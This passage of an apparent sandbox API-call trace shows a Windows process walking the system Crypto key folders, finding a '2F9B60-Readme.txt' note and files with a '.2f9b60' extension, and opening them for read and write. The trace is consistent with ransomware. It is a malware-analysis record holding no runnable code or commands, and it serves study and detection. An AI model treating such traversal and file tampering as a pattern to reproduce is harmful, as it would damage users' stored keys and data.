Users\\Microsoft\\Crypto\\DSS\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*" [0134.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fa60 [0134.010] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced59e0 [0134.011] wcscmp (_String1=".", _String2=".") returned 0 [0134.011] FindNextFileW (in: hFindFile=0x1ced59e0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.011] wcscmp (_String1="..", _String2=".") returned 1 [0134.011] wcscmp (_String1="..", _String2="..") returned 0 [0134.011] FindNextFileW (in: hFindFile=0x1ced59e0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0134.011] wcscmp (_String1="MachineKeys", _String2=".") returned 1 [0134.011] wcscmp (_String1="MachineKeys", _String2="..") returned 1 [0134.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7a3340 [0134.011] wcscpy (in: _Dest=0x1b7a3340, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" [0134.011] wcscat (in: _Dest=0x1b7a3340, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\" [0134.011] wcscat (in: _Dest=0x1b7a3340, _Source="MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" [0151.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b869c40 [0151.444] wcscpy (in: _Dest=0x1b869c40, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" [0151.444] wcscat (in: _Dest=0x1b869c40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\" [0151.444] wcscat (in: _Dest=0x1b869c40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" [0151.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1dd20 [0151.444] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceca0 [0151.444] wcscmp (_String1=".", _String2=".") returned 0 [0151.444] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.444] wcscmp (_String1="..", _String2=".") returned 1 [0151.444] wcscmp (_String1="..", _String2="..") returned 0 [0151.444] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.444] FindClose (in: hFindFile=0x1b7ceca0 | out: hFindFile=0x1b7ceca0) returned 1 [0151.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1dd20) returned 1 [0151.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0151.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3340) returned 1 [0151.445] FindNextFileW (in: hFindFile=0x1ced59e0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0151.445] FindClose (in: hFindFile=0x1ced59e0 | out: hFindFile=0x1ced59e0) returned 1 [0151.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1fa60) returned 1 [0151.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5980) returned 1 [0151.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8591b0) returned 1 Thread: id = 1916 os_tid = 0x108c [0134.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1ced5860 [0134.027] wcscpy (in: _Dest=0x1ced5860, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" [0134.027] wcscat (in: _Dest=0x1ced5860, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\" [0134.027] wcscat (in: _Dest=0x1ced5860, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*" [0134.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ee30 [0134.027] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced58c0 [0134.028] wcscmp (_String1=".", _String2=".") returned 0 [0134.028] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.028] wcscmp (_String1="..", _String2=".") returned 1 [0134.028] wcscmp (_String1="..", _String2="..") returned 0 [0134.028] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0134.028] FindClose (in: hFindFile=0x1ced58c0 | out: hFindFile=0x1ced58c0) returned 1 [0134.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ee30) returned 1 [0134.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5860) returned 1 [0134.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858df0) returned 1 Thread: id = 1917 os_tid = 0xdc0 [0134.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b858df0 [0134.032] wcscpy (in: _Dest=0x1b858df0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0134.032] wcscat (in: _Dest=0x1b858df0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\" [0134.033] wcscat (in: _Dest=0x1b858df0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*" [0134.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ee30 [0134.033] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858a30 [0134.033] wcscmp (_String1=".", _String2=".") returned 0 [0134.033] FindNextFileW (in: hFindFile=0x1b858a30, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.033] wcscmp (_String1="..", _String2=".") returned 1 [0134.033] wcscmp (_String1="..", _String2="..") returned 0 [0134.033] FindNextFileW (in: hFindFile=0x1b858a30, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0134.033] wcscmp (_String1="MachineKeys", _String2=".") returned 1 [0134.033] wcscmp (_String1="MachineKeys", _String2="..") returned 1 [0134.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7a3260 [0134.034] wcscpy (in: _Dest=0x1b7a3260, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0134.034] wcscat (in: _Dest=0x1b7a3260, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\" [0134.034] wcscat (in: _Dest=0x1b7a3260, _Source="MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" [0151.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b868840 [0151.471] wcscpy (in: _Dest=0x1b868840, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" [0151.471] wcscat (in: _Dest=0x1b868840, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\" [0151.471] wcscat (in: _Dest=0x1b868840, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*" [0151.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fa60 [0151.471] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8591b0 [0151.471] wcscmp (_String1=".", _String2=".") returned 0 [0151.471] FindNextFileW (in: hFindFile=0x1b8591b0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.471] wcscmp (_String1="..", _String2=".") returned 1 [0151.471] wcscmp (_String1="..", _String2="..") returned 0 [0151.471] FindNextFileW (in: hFindFile=0x1b8591b0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.472] FindClose (in: hFindFile=0x1b8591b0 | out: hFindFile=0x1b8591b0) returned 1 [0151.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1fa60) returned 1 [0151.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0151.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3260) returned 1 [0151.473] FindNextFileW (in: hFindFile=0x1b858a30, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xffe43dd0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xffe43dd0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0151.473] wcscmp (_String1="S-1-5-18", _String2=".") returned 1 [0151.473] wcscmp (_String1="S-1-5-18", _String2="..") returned 1 [0151.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3260 [0151.473] wcscpy (in: _Dest=0x1b7a3260, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0151.473] wcscat (in: _Dest=0x1b7a3260, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\" [0151.473] wcscat (in: _Dest=0x1b7a3260, _Source="S-1-5-18" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0151.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7a3340 [0151.473] wcscpy (in: _Dest=0x1b7a3340, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0151.474] wcscat (in: _Dest=0x1b7a3340, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0151.474] wcscat (in: _Dest=0x1b7a3340, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*" [0151.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fa60 [0151.474] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xffe43dd0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xffe43dd0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8591b0 [0151.474] wcscmp (_String1=".", _String2=".") returned 0 [0151.474] FindNextFileW (in: hFindFile=0x1b8591b0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xffe43dd0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xffe43dd0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.474] wcscmp (_String1="..", _String2=".") returned 1 [0151.474] wcscmp (_String1="..", _String2="..") returned 0 [0151.474] FindNextFileW (in: hFindFile=0x1b8591b0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xff426050, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xff426050, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xff44c1b0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F9B60-Readme.txt", cAlternateFileName="2F9B60~1.TXT")) returned 1 [0151.474] wcscmp (_String1="2F9B60-Readme.txt", _String2=".") returned 1 [0151.474] wcscmp (_String1="2F9B60-Readme.txt", _String2="..") returned 1 [0151.474] FindNextFileW (in: hFindFile=0x1b8591b0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x599, dwReserved0=0x0, dwReserved1=0x0, cFileName="3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60", cAlternateFileName="3A0CA3~1.2F9")) returned 1 [0151.474] wcscmp (_String1="3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60", _String2=".") returned 1 [0151.474] wcscmp (_String1="3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60", _String2="..") returned 1 [0151.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x169a20 [0151.475] wcscpy (in: _Dest=0x169a20, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0151.475] wcscat (in: _Dest=0x169a20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0151.475] wcscat (in: _Dest=0x169a20, _Source="3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60" [0151.475] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60")) returned 0x2024 [0151.475] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60", dwFileAttributes=0x20) [0203.088] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2ad0 [0203.089] GetFileSizeEx (in: hFile=0x2ad0, lpFileSize=0x2ba8fcd0 | out: lpFileSize=0x2ba8fcd0*=1433) returned 1 [0203.089] SetFilePointerEx (in: hFile=0x2ad0, liDistanceToMove=0x595, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.089] ReadFile (in: hFile=0x2ad0, lpBuffer=0x2ba8fc50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ba8fc98, lpOverlapped=0x0 | out: lpBuffer=0x2ba8fc50*, lpNumberOfBytesRead=0x2ba8fc98*=0x4, lpOverlapped=0x0) returned 1 [0203.090] FlushFileBuffers (hFile=0x2ad0) returned 1 [0204.255] CloseHandle (hObject=0x2ad0) returned 1 [0204.255] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60", dwFileAttributes=0x2024) returned 1 [0212.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169a20) returned 1 [0212.123] FindNextFileW (in: hFindFile=0x1b8591b0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60", cAlternateFileName="BA308D~1.2F9")) returned 1 [0212.123] wcscmp 